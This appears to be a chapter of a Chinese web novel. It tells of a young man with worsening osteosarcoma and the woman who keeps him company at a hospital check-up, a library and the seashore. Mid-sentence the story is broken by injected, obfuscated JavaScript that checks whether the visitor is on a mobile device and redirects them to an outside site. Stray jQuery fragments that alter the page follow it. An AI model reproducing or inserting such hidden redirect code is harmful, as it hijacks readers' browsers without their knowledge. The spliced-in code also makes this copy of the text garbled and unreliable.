十二月初的复查日，谢临洲的情况不太好。


    苏晚禾陪他去医院，能感觉到他的脚步比上次更虚浮。


    候诊时，他几乎全程闭着眼睛，只有叫到他名字时才勉强睁开。


    诊室里，主治医生看着最新的CT影像，眉头越皱越紧。


    “这里，还有这里。”医生指着屏幕上几个白色的亮点，“新出现的转移灶。肺部的这个，比上次大了三分之一。”


    谢临洲安静地听着，脸上没什么表情，像是在听别人的病情。


    “化疗效果不理想。”医生翻看着病历，“我们需要调整方案。可以考虑靶向药，但要做基因检测，看有没有合适的靶点。”


    “好。”谢临洲只说了一个字。


    “另外，”医生顿了顿，“疼痛管理要加强。你现在用的止痛药效果怎么样？”


    “还行。”


    “如果疼得厉害，及时说，我们可以调整剂量。”医生在病历上快速写着，“生活质量也很重要。”


    从诊室出来，苏晚禾跟在谢临洲身后，看着他瘦削的背影。


    走廊的灯光很亮，照得他几乎透明。


    “谢临洲。”她叫住他。


    他停下脚步，回头看她。


    “你......”苏晚禾张了张嘴，却不知道该说什么。


    问“你疼吗”？问“你害怕吗”？这些问题都太苍白。


    “我没事。”谢临洲反而安慰她，“习惯了。”


    又是这句话。


    苏晚禾鼻子一酸，别过头去。


    拿完药，他们走出医院。


    天空是铅灰色的，像是要下雨。


    冷风一吹，谢临洲剧烈地咳嗽起来，苏晚禾赶紧扶住他。


    “回家吧。”她说。


    “我想去个地方。”


    “哪儿？”


    “图书馆。”


    云港镇图书馆很小，一栋两层的旧楼，藏在一条安静的巷子里。


    谢临洲熟门熟路地走进去，直接上了二楼的医学阅览区。


    苏晚禾跟在他身后，看着他走到一排书架前，抽出几本厚厚的医学书。


    骨肿瘤学、肿瘤内科学、姑息治疗指南......都是专业得让人望而生畏的书。


    “你看这些干什么？”苏晚禾忍不住问。


    “了解一下。”谢临洲抱着书找了个角落的座位坐下，“自己的病，总要知道怎么回事。”


    苏晚禾在他对面坐下，看着他翻开一本《骨肉瘤诊疗进展》。


    书页上密密麻麻的专业术语，他看得很认真，偶尔用笔在纸上记着什么。


    阳光从窗户斜射进来，照在他身上。


    他的睫毛在脸颊上投出细密的阴影，嘴唇紧抿着，神情专注得像在解什么难题。


    苏晚禾突然想起自己刚受伤时，也曾经疯狂地查资料：肩袖损伤、康复训练、手术成功率......那时候她以为，只要了解得够多，就能找到解决问题的办法。


    但有些问题，不是了解就能解决的。


    “谢临洲。”她轻声说。


    “嗯？”他没抬头。


    “别查了。”


    谢临洲翻页的手停住了。


    “别查了。”苏晚禾又说了一遍，声音有些抖，“我们......去看看海吧。”


    谢临洲沉默了很久。


    然后他合上书，把几本书摞好，放回书架。


    “好。”他说。


    他们走到海边。


    冬天的海风很冷，吹得人脸颊生疼。


    沙滩上几乎没人，只有几只海鸥在岸边徘徊。


    两人在防波堤上坐下。


    谢临洲从口袋里掏出病历本，就是苏晚禾第一次在医院捡到的那本，深蓝色的封皮已经有些磨损了。


    他翻开病历本。


    里面除了医生的记录，还有他自己写的东西：用药时间、副作用记录、疼痛评分、体重变化......工整的字迹，像实验室记录。


    苏晚禾凑过去看。


    最新的一页上，谢临洲用红笔写了几行字：


    “12月3日，复查。新转移灶，肺部。


    疼痛评分：6/10（持续）。


    体重：47.3kg（比上月-1.2kg）。


    食欲：差。


    睡眠：差。


    心情：......不知道。”


    最后一行的“不知道”三个字，写得特别轻，像是不确定该写什么。


    “为什么记这些？”苏晚禾问。


    “为了......不忘记。”谢临洲说，“有时候疼得厉害了，脑子会糊涂，记不住事。写下来，就能知道自己经历过什么。”


    苏晚禾看着那些冰冷的数字和文字，心里像被什么东西重重地撞了一下。


    “疼的时候......很辛苦吧。”她轻声说。


    谢临洲没回答。


    他看着远处的海面，海浪一层层涌上来，又退下去。


    “苏晚禾。”他突然叫她的名字。


    “嗯？”


    “你知道骨肉瘤五年生存率是多少吗？”


    苏晚禾喉咙发紧：“不知道。”


    “三期的话......不到百分之三十。”谢临洲说得很平静，“而且我这一年，情况一直在变差。”


    “别说了......”


    “我得说。”谢临洲转过头看着她，“因为我想让你知道。”


    他的眼神很清澈，没有恐惧，没有悲伤，只有一种近乎残忍的平静。


    “我刚确诊的时候，查了很多资料。知道这个病有多凶险，知道治疗有多痛苦，也知道......希望有多渺茫。”他慢慢地说，“但我还是想试试。因为那时候觉得，万一呢？”


    海风吹起他的头发，露出苍白的额头。


    “但现在我知道了。”他说，“没有万一。”


    苏晚禾的眼泪掉了下来。


    她用力擦掉，但新的眼泪又涌出来。


    “对不起。”谢临洲说，“我不该跟你说这些。”


    “不。”苏晚禾摇头，“你该说。你该告诉我的。”


    她深吸一口气，看着他的眼睛：“你疼的时候告诉我，难受的时候告诉我，害怕的时候也告诉我。不要自己一个人扛着。”


    谢临洲看着她，灰色的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930152|192799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼睛里有什么东西在闪动。


    “好。”他轻声说。


    他们在海边坐到太阳西斜。


    谢临洲的体力支撑不住了，苏晚禾扶他起来，慢慢往回走。


    路上经过一个文具店，苏晚禾突然说：“你等我一下。”


    她跑进去，几分钟后出来，手里拿着个小本子和一支笔。


    “给你。”她把本子递给谢临洲。


    谢临洲翻开。


    本子很普通，浅蓝色的封皮，里面是空白的格子纸。


    “这是？”


    “新的病历本。”苏晚禾说，“但这次不记那些了。我们记点别的。”


    “记什么？”


    “记......每天发生的好事。”苏晚禾说，“比如今天天气很好，比如海鸥的叫声很好听，比如......比如我陪你看海。”


    谢临洲看着手里的本子，很久没说话。


    “试试看？”苏晚禾说。


    “好。”


    回到家，谢临洲在书桌前坐下，翻开新本子的第一页。


    苏晚禾站在他身后看着。


    他拿起笔，想了想，写下：


    “12月3日。天气：阴。


    和苏晚禾去了图书馆，看了海。


    她哭了，但说以后可以陪着我。


    海鸥的叫声确实很好听。


    疼痛评分：6/10。


    但心情：......好像没那么差了。”


    写完，他放下笔，转头看苏晚禾：“这样行吗？”


    苏晚禾用力点头：“行。”


    她把那个深蓝色的旧病历本拿过来，合上，放进书桌最下面的抽屉里。


    “这个收起来吧。”她说，“我们用新的。”


    “好。”


    那天晚上，苏晚禾很晚才离开。


    走之前，她给谢临洲煮了粥，看着他吃完，又看着他吃了药。


    “明天我再来。”她说。


    “嗯。”


    走到门口，苏晚禾回头看了一眼。


    谢临洲坐在书桌前，台灯的光晕把他笼在里面。


    他正在新本子上写什么，写得很认真。


    她轻轻关上门。


    回疗养院的路上，她一直在想谢临洲说的那些话。


    百分之三十的生存率，新转移灶，持续恶化的病情......


    心里像压了块石头，沉甸甸的。


    但她想起谢临洲写在新本子上的话：“心情：好像没那么差了。”


    也许，这就是她能做的。


    不是治愈，不是拯救。


    只是陪着。


    陪着他疼，陪着他难受，陪着他......走完剩下的路。


    路灯把她的影子拉得很长。


    冬天的夜晚很安静，能听见很远处的潮声。


    一下，又一下。


    像心跳，微弱但坚持。


    她抬起头，看着夜空。


    今晚没有星星，云层很厚。


    但她知道，星星一直在那里。


    就像希望一样。


    也许很小，也许很远。


    但一直在。